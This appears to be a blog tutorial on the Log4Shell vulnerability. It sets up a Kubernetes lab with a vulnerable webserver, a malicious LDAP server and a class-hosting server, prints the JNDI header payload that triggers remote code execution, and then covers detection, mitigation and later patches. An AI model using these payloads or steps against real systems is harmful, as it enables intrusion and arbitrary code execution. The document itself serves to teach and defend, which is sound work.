Log4j CVE-2021–44228 — Proof-of-concept on Kubernetes
Log4j is a Java-based logging utility. It is part of the Apache Logging Services, a project of the Apache Software Foundation. Log4j is one of several Java logging frameworks. Apache Log4j2 2.0-beta9 through 2.12.1 and 2.13.0 through 2.15.0 JNDI features used in configuration, log messages, and parameters do not protect against attacker-controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0, this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.
There are 4 actors involved in the attack
1. Attacker
The attack is initiated by someone trying to exploit the log4j vulnerability — let’s call this entity as the “hacker”. In our proof-of-concept, we will use Python to create a “Get” request to the “vulnerable” host.
log4j-poc.py
The script needs three inputs — one is a list of headers that the script will use to send the “Get” request (refer to the highlighted code in the above code snippet). Second — a payload file that has the value that needs to be set for the headers in the headers.txt in order for us to exploit the log4j vulnerability. The third is urls.txt that has the url(s) of the vulnerable server(s).
headers.txt
User-Agent
Referer
X-Api-Version
Bearer
Authentication
payloads.txt
${jndi:ldap://log4j-ldap.log4j.svc.cluster.local:1389/Log4jpoc}
The “jndi” string is what triggers the log4j vulnerability on the webserver. Whenever log4j encounters the “jndi” string, it does a JNDI lookup to a LDAP server (the third actor, see below) which is also setup by the “hacker”.
Note — Please note that you can use any app that is capable of sending web-requests with custom headers/values instead of the Python script above for e.g., Postman, Curl etc.
2. Web Server (Victim) -
The “get” request is sent to the “vulnerable” web server.
For our POC, the source of the Web Server is at the following GitHub repo for your reference.
Click here — log4j-vunerable-server GitHub repository.
Referencing source code in the repo Logging.java
Line #8 is the root-cause of this vulnerability. It’s very typical for developers to log the value of headers when processing a web-request.
A typical “User-Agent” header will look like this:
Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Mozilla/5.0 (Macintosh; Intel Mac OS X x.y; rv:42.0) Gecko/20100101 Firefox/42.0
In the example above, the “User-Agent” is set by the web-browser (Mozilla Firefox in this case) when accessing the website. But the user can override the “headers” using tools like Postman, Curl or even Python (refer to the source-code above — log4j-poc.py) to custom value.
As we saw in the previous section, the “hacker” sets this value of “User-Agent” to
${jndi:ldap://log4j-ldap.log4j.svc.cluster.local:1389/Log4jpoc}
When the code
logger.info(“User-Agent: — — “+request.getHeader(“User-Agent”));
is executed, the string ““User-Agent: — — “+request.getHeader(“User-Agent”)” is passed to the log4j library. Due to the vulnerability in this library, whenever it encounters a JNDI request, it forwards it to the LDAP server (the 3rd actor in our workflow). Please note that in our example, the LDAP server is “log4j-ldap.log4j.svc.cluster.local” at port 1389.
3. The Malicious LDAP Server (Set-up by the “Hacker” to provide Java Naming and Directory Interface (JNDI)) -
When the JNDI Look-up request is sent to the LDAP server in the previous section, the LDAP server substitutes it with a malicious java class payload which is sent back to the web server.
4. The Malicious Webserver (Set-up by the “Hacker” to serve the malicious Java code)
The webserver gets an address of a Java class setup on a remote server as a response to its JNDI lookup query. Due to the vulnerability, it goes out and fetches the remote Java class and then executes the malicious java code which effectively means that the “hacker” can execute any arbitrary code on the vulnerable webserver.
Now that we have an understanding about this vulnerability, let’s do a hands-on by deploying pods on a Kubernetes cluster that will simulate these 4 actors.
Log4j CVE-2021–44228 — Proof-of-concept on Kubernetes
Since Kubernetes is ideal for doing a POC with one command for deploy/cleanup, I selected it to deploy the components on it.
Prerequisites —
- Kubernetes Cluster
- Access to Kubernetes Cluster from a host with “kubectl”
- Python
We start by taking a look at this repository.
Verify that you have a server that has access to a Kubernetes Cluster.
kubectl cluster-info
This should return “Kubernetes master” and “CoreDNS” implying that the setup is correct.
Clone the GitHub repo on this server
Once the repo has been cloned, “change directory” to the k8s YAML folder
cd log4j-docker/k8s/
Now deploy the workload
kubectl create -f .
This will deploy 3 pods under namespace “log4j”.
Each of these pods represent the 3 of the 4 actors as explained in the section above.
- log4j-webserver — this represents the vulnerable webserver
- marshalsec-server — this represents the malicious LDAP server
- log4j-attackserver — this represents the remote server that hosts the malicious java code
To expose the webserver locally, execute the following command —
kubectl port-forward log4j-webserver-794d8d9b85-g97bl 8080:8080 -n log4j &
Note — Make sure that port 8080 is available on the system. Also ensure that you replace the complete pod name with your k8s pod name for the webserver pod (794d8d9b85-g97bl).
Test if the port-forward worked by doing a telnet
telnet localhost 8080
You should get “Connected to localhost” as a response.
Now it’s time to execute the log4j-poc.py (see the first section) to trigger the log4j vulnerability.
Copy-paste the source on the server and call it log4j-poc.py.
Make sure that you create 3 files — headers.txt, payloads.txt and urls.txt in the same folder as log4j-poc.py.
headers.txt
User-Agent
Referer
X-Api-Version
Bearer
Authentication
Make sure that payloads.txt is set to:
payloads.txt
${jndi:ldap://log4j-ldap.log4j.svc.cluster.local:1389/Log4jpoc}
urls.txt
Time for us to execute the script that will trigger the vulnerability workflow.
python log4j-poc.py
This should give the following output on the console
[x] Request send to http://localhost:8080/Test/Logging
If you have Kubernetes-Dashboard deployed, head over to the webserver pod and click on logs:
You should see the message “Exploited” in the webserver logs that indicated that we were able to execute the remote Java class on the webserver.
If you don’t have the dashboard, you can execute the following command:
kubectl get pods -n log4j
kubectl get logs <webserver pod id>-n log4j
It will return the same output as dashboard and confirm that the webserver was exploited.
If you take a look at the output of the other two pods, this is what you should see:
marshalsec-server
As you can see, the LDAP server redirects to the attackserver to serve the Log4jpoc.class, which is the malicious Java code to be executed on the vulnerable webserver.
If you head over to the attackserver logs, this is what you should see:
The Log4jpoc.class is the malicious java code from the “hacker” which he/she intends to execute on the webserver.
As you can see, it prints the string “Exploited” and also executes a cmd in the webserver by appending the string “exploited” to “/tmp/exploit.txt”.
In fact, if you went to the webserver console and did a cat on /tmp/exploit.txt, you should see the following:
The fact that we are able to execute shell command provides unlimited access to the hacker to do anything on this server for e.g., triggering remote shell access, crypto mining etc.
Cleanup
Once complete, you should go ahead and delete the k8s deployment by issuing the following command from the server:
kubectl delete -f .
Conclusion
Log4j vulnerability (CVE-2021–44228) — dubbed log4shell — has been described as a critical risk to the entire internet. The flaw has exposed some of the most substantial applications to attack across the internet landscape, with companies racing to patch and mitigate threats as cyber criminals actively exploit.
As you have seen through this POC, how easy it is to exploit this vulnerability. In this section, we will see how we can mitigate and/or eliminate this vulnerability from your system if you are affected.
Impacted Versions — Apache Log4j 2.x <= 2.15.0-rc1
Log4j 1.x versions are not impacted by this vulnerability since the JNDILookup plugin was added only from version 2.0-beta-9 onwards.
Log4j 2.x versions between versions 2.0-beta-9 and 2.14.1 are affected by this vulnerability.
Note that only the log4j-core JAR file is impacted by this vulnerability. Applications using only the log4j-api JAR file without the log4j-core JAR file are not impacted by this vulnerability.
How to find if my application has the log4j-core jar?
You can run the following command from inside your project directory and find out if you are using log4j library and the version if you are using a maven-based project,
> mvn dependency:tree | grep log4j
command to find out log4j dependency and the version used
You can run the below command to find out if your project jar is using the log4j-core jar library.
> jar tvf example_project-0.0.1-SNAPSHOT.jar | grep log
Instead of log4j-core if you are using the logback-core jar and log4j-api jar then you don’t have to worry about this vulnerability.
How to identify if your system was compromised with the vulnerability
Run the following command to scan through the logs. If the result is non-empty, immediately review the event and the timeframe when the vulnerability occurred.
sudo egrep -i -r ‘\$\{jndi:(ldap[s]?|rmi|dns)://’ /var/log
How to mitigate the vulnerability if you cannot update the log4j library to a newer version?
If you are using Log4j v2.10 or above, and cannot upgrade for some reason, then set the property:
log4j2.formatMsgNoLookups=true
Or an environment variable can also be set for these versions:
LOG4J_FORMAT_MSG_NO_LOOKUPS=true
You can search for impacted JARs that may have the JndiLookup.class by using the following command
find . -name “*.jar” -exec jar tf {} \; | grep -iF jndilookup.class
You can remove the JndiLookup class from the classpath by running the following command:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Which new version should I upgrade it to?
The version Log4j 2.15.0 was released as a possible fix for this critical vulnerability, but this version was found to be still vulnerable when the configuration has a pattern layout containing a context lookup (for example, $${ctx:loginId}). Even though this version restricts JNDI connections to localhost by default, this may still result in DOS (Denial of Service) attacks. A new CVE (CVE-2021–45046) was raised for this.
Apache immediately released another version Log4j 2.16.0, in this version the message lookups feature has been completely removed. Also, Log4j now disables access to JNDI by default. JNDI lookups in configuration still work but now they need to be enabled explicitly.
Update
On Friday 12/17, Apache released yet another patch — version 2.17 — for yet another flaw in the ubiquitous log4j logging library, this time for a DoS bug.
Trouble comes in threes, and this is the third one for log4j. The latest bug isn’t a variant of the Log4Shell remote-code execution (RCE) bug that’s plagued IT teams since Dec. 10, coming under active attack worldwide within hours of its public disclosure, spawning even nastier mutations and leading to the potential for denial-of-service (DoS) in Apache’s initial patch.
It does have similarities, though: The new bug affects the same component as the Log4Shell bug. Both the Log4Shell, tracked as CVE-2021–44228 (criticality rating of CVSS 10.0) and the new bug, tracked as CVE-2021–45105 (CVSS score: 7.5) abuse attacker-controlled lookups in logged data.
The new vulnerability affects all versions of the tool from 2.0-beta9 to 2.16, which Apache shipped last week to remediate the second flaw in the trio. That second bug was the RCE flaw CVE-2021–45046, which, in turn, stemmed from Apache’s incomplete fix for CVE-2021–44228, aka the Log4Shell vulnerability.
The weakness has to do with improper input validation and uncontrolled recursion that can lead to DoS.
The Apache Log4j API supports variable substitution in lookups. However, a crafted variable can cause the application to crash due to uncontrolled recursive substitutions. An attacker with control over lookup commands (e.g., via the Thread Context Map) can craft a malicious lookup variable, which results in a Denial-of-Service (DoS) attack.
Apache has listed mitigating factors, but I will recommend upgrading to the latest version 2.17 to ensure that the bug is completely addressed.
The latest bug and Apache’s new round of fixes are just the latest news in the ongoing, ever shifting log4j situation. As exploits flood in, new vulnerabilities emerge, and patches turn out to need patching.
I will keep posting latest updates in this blog to keep you up-to-speed.
Thanks for reading!
